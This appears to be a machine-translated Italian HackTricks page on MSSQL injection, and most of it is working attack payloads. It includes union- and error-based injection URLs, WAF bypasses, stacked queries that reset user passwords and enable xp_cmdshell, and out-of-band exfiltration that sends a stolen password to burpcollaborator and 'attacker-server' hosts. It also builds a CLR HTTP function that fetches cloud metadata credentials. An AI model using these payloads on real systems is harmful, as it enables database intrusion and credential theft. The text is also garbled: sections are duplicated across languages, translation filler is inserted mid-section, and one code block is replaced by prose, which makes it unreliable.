MSSQL Injection

Iniezione MSSQL

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Enumerazione di Active Directory

Potrebbe essere possibile enumerare gli utenti di dominio tramite iniezione SQL all'interno di un server MSSQL utilizzando le seguenti funzioni MSSQL:

  • SELECT DEFAULT_DOMAIN(): Ottieni il nome del dominio corrente.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Se conosci il nome del dominio (DOMAIN in questo esempio), questa funzione restituirà l'SID dell'utente Administrator nel formato esadecimale. Questo avrà un aspetto simile a 0x01050000000[...]0000f401, nota come gli ultimi 4 byte siano il numero 500 nel formato big endian, che è l'ID comune dell'utente amministratore. Questa funzione ti permetterà di conoscere l'ID del dominio (tutti i byte tranne gli ultimi 4).

  • SUSER_SNAME(0x01050000000[...]0000e803) : Questa funzione restituirà il nome utente dell'ID indicato (se presente), in questo caso 0000e803 in big endian == 1000 (di solito questo è l'ID del primo utente regolare creato). Quindi puoi immaginare di poter forzare gli ID utente da 1000 a 2000 e probabilmente ottenere tutti i nomi utente degli utenti del dominio. Ad esempio utilizzando una funzione come la seguente:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Vettori alternativi basati su errori

Le iniezioni SQL basate sugli errori di solito assomigliano a costruzioni come +AND+1=@@version-- e varianti basate sull'operatore «OR». Le query che contengono tali espressioni sono di solito bloccate dai WAF. Come bypass, concatenare una stringa utilizzando il carattere %2b con il risultato di chiamate di funzione specifiche che scatenano un errore di conversione del tipo di dati sui dati ricercati.

Alcuni esempi di tali funzioni:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Esempio di utilizzo della funzione USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Questi trucchi SSRF sono stati presi da qui

fn_xe_file_target_read_file

Richiede il permesso VIEW SERVER STATE sul server.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Richiede il permesso CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Richiede il permesso CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Stored procedure come xp_dirtree, anche se non ufficialmente documentate da Microsoft, sono state descritte da altri online a causa della loro utilità nelle operazioni di rete all'interno di MSSQL. Queste procedure vengono spesso utilizzate nell'esfiltrazione di dati Out of Band, come mostrato in vari esempi e articoli.

La stored procedure xp_dirtree, ad esempio, viene utilizzata per effettuare richieste di rete, ma è limitata solo alla porta TCP 445. Il numero di porta non è modificabile, ma consente la lettura da condivisioni di rete. L'utilizzo è dimostrato nello script SQL di seguito:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

È importante notare che questo metodo potrebbe non funzionare su tutte le configurazioni di sistema, come ad esempio su Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) in esecuzione su un Windows Server 2016 Datacenter con impostazioni predefinite.

Inoltre, ci sono stored procedure alternative come master..xp_fileexist e xp_subdirs che possono ottenere risultati simili. Ulteriori dettagli su xp_fileexist possono essere trovati in questo articolo TechNet.

xp_cmdshell

Ovviamente è possibile utilizzare anche xp_cmdshell per eseguire qualcosa che attiva un SSRF. Per ulteriori informazioni leggere la sezione pertinente nella pagina:

page1433 - Pentesting MSSQL - Microsoft SQL Server

Funzione definita dall'utente MSSQL - SQLHttp

La creazione di una UDF CLR (User Defined Function Common Language Runtime), che è un codice scritto in qualsiasi linguaggio .NET e compilato in una DLL, da caricare all'interno di MSSQL per eseguire funzioni personalizzate, è un processo che richiede l'accesso dbo. Ciò significa che di solito è fattibile solo quando la connessione al database viene effettuata come sa o con un ruolo di amministratore.

Un progetto di Visual Studio e le istruzioni di installazione sono forniti in questo repository Github per facilitare il caricamento del binario in MSSQL come assembly CLR, consentendo così l'esecuzione di richieste HTTP GET all'interno di MSSQL.

Il cuore di questa funzionalità è racchiuso nel file http.cs, che utilizza la classe WebClient per eseguire una richiesta GET e recuperare il contenuto come illustrato di seguito:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Prima di eseguire il comando SQL CREATE ASSEMBLY, si consiglia di eseguire il seguente frammento di SQL per aggiungere l'hash SHA512 dell'assembly all'elenco degli assembly fidati del server (visualizzabile tramite select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Dopo aver aggiunto correttamente l'assembly e creato la funzione, il seguente codice SQL può essere utilizzato per eseguire richieste HTTP:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Esplorazione rapida: Recuperare l'intero contenuto di una tabella in una singola query

Trucco da qui.

Un metodo conciso per estrarre l'intero contenuto di una tabella in una singola query consiste nell'utilizzare la clausola FOR JSON. Questo approccio è più conciso rispetto all'utilizzo della clausola FOR XML, che richiede una modalità specifica come "raw". La clausola FOR JSON è preferita per la sua brevità.

Ecco come recuperare lo schema, le tabelle e le colonne dal database corrente:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
# MSSQL Injection

## Introduzione

L'**iniezione SQL** è una vulnerabilità comune che consente agli attaccanti di manipolare le query SQL eseguite da un'applicazione web. In questo documento, esploreremo le tecniche di iniezione SQL specifiche per i database MSSQL.

## Tipi di iniezione SQL

Ci sono diversi tipi di iniezione SQL che possono essere sfruttati in un database MSSQL. Alcuni di questi includono:

- **Iniezione SQL basata su errori**: sfrutta gli errori generati dal database per ottenere informazioni sensibili.
- **Iniezione SQL basata su union**: combina i risultati di più query per ottenere informazioni aggiuntive.
- **Iniezione SQL basata su boolean**: utilizza le condizioni booleane per ottenere informazioni dal database.
- **Iniezione SQL basata su time**: sfrutta i ritardi di tempo per ottenere informazioni dal database.

## Esempio di iniezione SQL MSSQL

Di seguito è riportato un esempio di URL vulnerabile a un attacco di iniezione SQL MSSQL:

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--


In questo esempio, l'attaccante sta cercando di ottenere informazioni sullo schema del database, il nome della tabella e il nome della colonna utilizzando la funzione `concat_ws` e la vista `information_schema.columns`. L'attaccante inserisce il payload `1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--` nel parametro `id` dell'URL per eseguire l'attacco.

## Conclusioni

L'iniezione SQL è una vulnerabilità critica che può consentire agli attaccanti di ottenere accesso non autorizzato ai dati sensibili del database. È importante che gli sviluppatori e i professionisti della sicurezza comprendano le tecniche di iniezione SQL specifiche per i database MSSQL al fine di proteggere le applicazioni web da tali attacchi.

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

## MSSQL Injection

### Union-Based SQL Injection

#### Description

Union-based SQL Injection is a technique used to exploit vulnerabilities in web applications that use MSSQL databases. It allows an attacker to retrieve sensitive information from the database by injecting malicious SQL code into user input fields.

#### Example

Consider the following vulnerable URL:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null


In this example, the injection is performed in the `id` parameter. The injected SQL code retrieves the text of the currently executing SQL statement using the `sys.dm_exec_requests` and `sys.dm_exec_sql_text` system views.

#### Translation

## Iniezione SQL MSSQL

### Iniezione SQL basata su Union

#### Descrizione

L'iniezione SQL basata su Union è una tecnica utilizzata per sfruttare le vulnerabilità nelle applicazioni web che utilizzano database MSSQL. Consente a un attaccante di recuperare informazioni sensibili dal database iniettando codice SQL dannoso nei campi di input dell'utente.

#### Esempio

Considera il seguente URL vulnerabile:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null


In questo esempio, l'iniezione viene eseguita nel parametro `id`. Il codice SQL iniettato recupera il testo dell'istruzione SQL attualmente in esecuzione utilizzando le viste di sistema `sys.dm_exec_requests` e `sys.dm_exec_sql_text`.

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Questa query restituisce i permessi dell'utente corrente per visualizzare lo stato del server.


## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

MSSQL Injection

Descrizione

L'iniezione SQL è una vulnerabilità comune che consente agli attaccanti di inserire e eseguire comandi SQL non autorizzati all'interno di un'applicazione web. Questa vulnerabilità può essere sfruttata per ottenere informazioni sensibili, modificare o eliminare dati nel database o eseguire altre azioni dannose.

MSSQL Injection - Union Based

L'iniezione SQL basata su Union è una tecnica comune utilizzata per sfruttare le vulnerabilità di iniezione SQL in un'applicazione web che utilizza un database MSSQL. Questa tecnica sfrutta l'operatore SQL UNION per combinare i risultati di due o più query in una singola risposta.

Esempio di URL vulnerabile

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Spiegazione

Nell'esempio di URL sopra, l'input id viene utilizzato direttamente nella query SQL senza alcun controllo o sanitizzazione. Questo rende possibile l'iniezione SQL.

L'iniezione SQL basata su Union sfrutta l'operatore UNION per combinare i risultati di due query. Nell'esempio sopra, la query originale potrebbe essere qualcosa del genere:

SELECT * FROM items WHERE id = 1

L'attaccante inserisce %C2%85union%C2%85select%C2%A0null,@@version,null-- come valore per il parametro id. Questo modifica la query in:

SELECT * FROM items WHERE id = 1 UNION SELECT null,@@version,null--

L'operatore UNION combina i risultati di due query. Nell'esempio sopra, la seconda query SELECT null,@@version,null viene utilizzata per ottenere la versione del database MSSQL.

Prevenzione

Per prevenire l'iniezione SQL, è importante utilizzare sempre parametri parametrizzati o query preparate per eseguire le query SQL. Inoltre, è consigliabile implementare una corretta validazione e sanitizzazione degli input dell'utente per evitare l'inserimento di caratteri speciali o comandi SQL non autorizzati.


Scientific (0e) and hex (0x) notation for obfuscating UNION:

MSSQL Injection

Union-Based SQL Injection

Identifying the Vulnerability

To identify a possible Union-Based SQL Injection vulnerability, you can try injecting a UNION SELECT statement into the input fields of the application.

Exploiting the Vulnerability

Once you have identified the vulnerability, you can proceed with exploiting it.

Extracting Database Version

To extract the version of the MSSQL database, you can use the following payloads:

  • Payload 1: 0eunion+select+null,@@version,null--

  • Payload 2: 0xunion+select+null,@@version,null--

Example

Let's assume the vulnerable URL is https://vuln.app/getItem?id=.

To extract the database version using the first payload, you can append 0eunion+select+null,@@version,null-- to the URL:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

To extract the database version using the second payload, you can append 0xunion+select+null,@@version,null-- to the URL:

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

By analyzing the response, you can determine the version of the MSSQL database.

Conclusion

Union-Based SQL Injection can be a powerful technique to exploit vulnerabilities in MSSQL databases. By injecting UNION SELECT statements, you can extract sensitive information from the database.


A period instead of a whitespace between FROM and a column name:

MSSQL Injection

Descrizione

L'iniezione SQL è una vulnerabilità comune che consente agli attaccanti di inserire e eseguire comandi SQL non autorizzati all'interno di un'applicazione web. Questa vulnerabilità può essere sfruttata per ottenere informazioni sensibili, modificare o eliminare dati nel database o eseguire altre azioni dannose.

MSSQL Injection

L'iniezione SQL in MSSQL può essere sfruttata utilizzando diverse tecniche. Una delle tecniche comuni è l'utilizzo dell'operatore UNION per combinare i risultati di due query diverse in un'unica tabella di output.

Esempio di MSSQL Injection

Supponiamo di avere un'applicazione web che utilizza una query SQL per recuperare un elemento dal database utilizzando un parametro di input. L'URL dell'applicazione potrebbe essere simile a questo:

https://vuln.app/getItem?id=1

Per sfruttare l'iniezione SQL in MSSQL, possiamo modificare il parametro di input per eseguire una query SQL non autorizzata. Ad esempio, possiamo utilizzare l'operatore UNION per combinare i risultati di una query di selezione con una query che restituisce informazioni sensibili.

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

In questo esempio, stiamo utilizzando l'operatore UNION per combinare i risultati di una query che restituisce tre colonne con valori nulli (null, @@version, null) con i risultati della query originale. L'obiettivo è ottenere la versione del database utilizzando la variabile @@version.

Prevenzione

Per prevenire l'iniezione SQL in MSSQL, è importante utilizzare query parametrizzate o istruzioni preparate che separano i dati di input dai comandi SQL. Inoltre, è consigliabile limitare i privilegi dell'account di accesso al database per ridurre l'impatto di un'eventuale iniezione SQL.


\N separator between SELECT and a throwaway column:

MSSQL Injection

Descrizione

L'iniezione SQL è una vulnerabilità comune che consente agli attaccanti di inserire e eseguire comandi SQL non autorizzati all'interno di un'applicazione web. Questa vulnerabilità può essere sfruttata per ottenere informazioni sensibili, modificare i dati nel database o eseguire altre azioni dannose.

MSSQL Injection su URL

Un esempio di iniezione SQL su un URL è il seguente:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

In questo caso, l'attaccante sta cercando di sfruttare una possibile iniezione SQL nel parametro id. L'attaccante sta utilizzando la tecnica di iniezione SQL dell'UNION SELECT per ottenere informazioni dal database.

Traduzione

Iniezione MSSQL

Descrizione

L'iniezione SQL è una vulnerabilità comune che consente agli attaccanti di inserire ed eseguire comandi SQL non autorizzati all'interno di un'applicazione web. Questa vulnerabilità può essere sfruttata per ottenere informazioni sensibili, modificare i dati nel database o eseguire altre azioni dannose.

Iniezione MSSQL su URL

Un esempio di iniezione SQL su un URL è il seguente:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

In questo caso, l'attaccante sta cercando di sfruttare una possibile iniezione SQL nel parametro id. L'attaccante sta utilizzando la tecnica di iniezione SQL dell'UNION SELECT per ottenere informazioni dal database.


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]

Can be reduced to:

```sql
Il seguente codice SQL crea una tabella chiamata "test" nel database "tempdb", con una colonna chiamata "id" di tipo intero. Successivamente, viene inserito un valore di 1 nella tabella "test". Infine, viene eseguita una query per selezionare il valore della colonna "id" dalla tabella "test". Infine, la tabella "test" viene eliminata.

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# Aggiungendo un exec() inutile alla fine e facendo credere al WAF che questa non sia una query valida
admina'union select 1,'admin','testtest123'exec('select 1')--
## Questo diventerà:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Utilizzando query costruite in modo strano
admin'exec('update[users]set[password]=''a''')--
## Questo diventerà:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# O abilitando xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Questo diventerà:
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--'

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated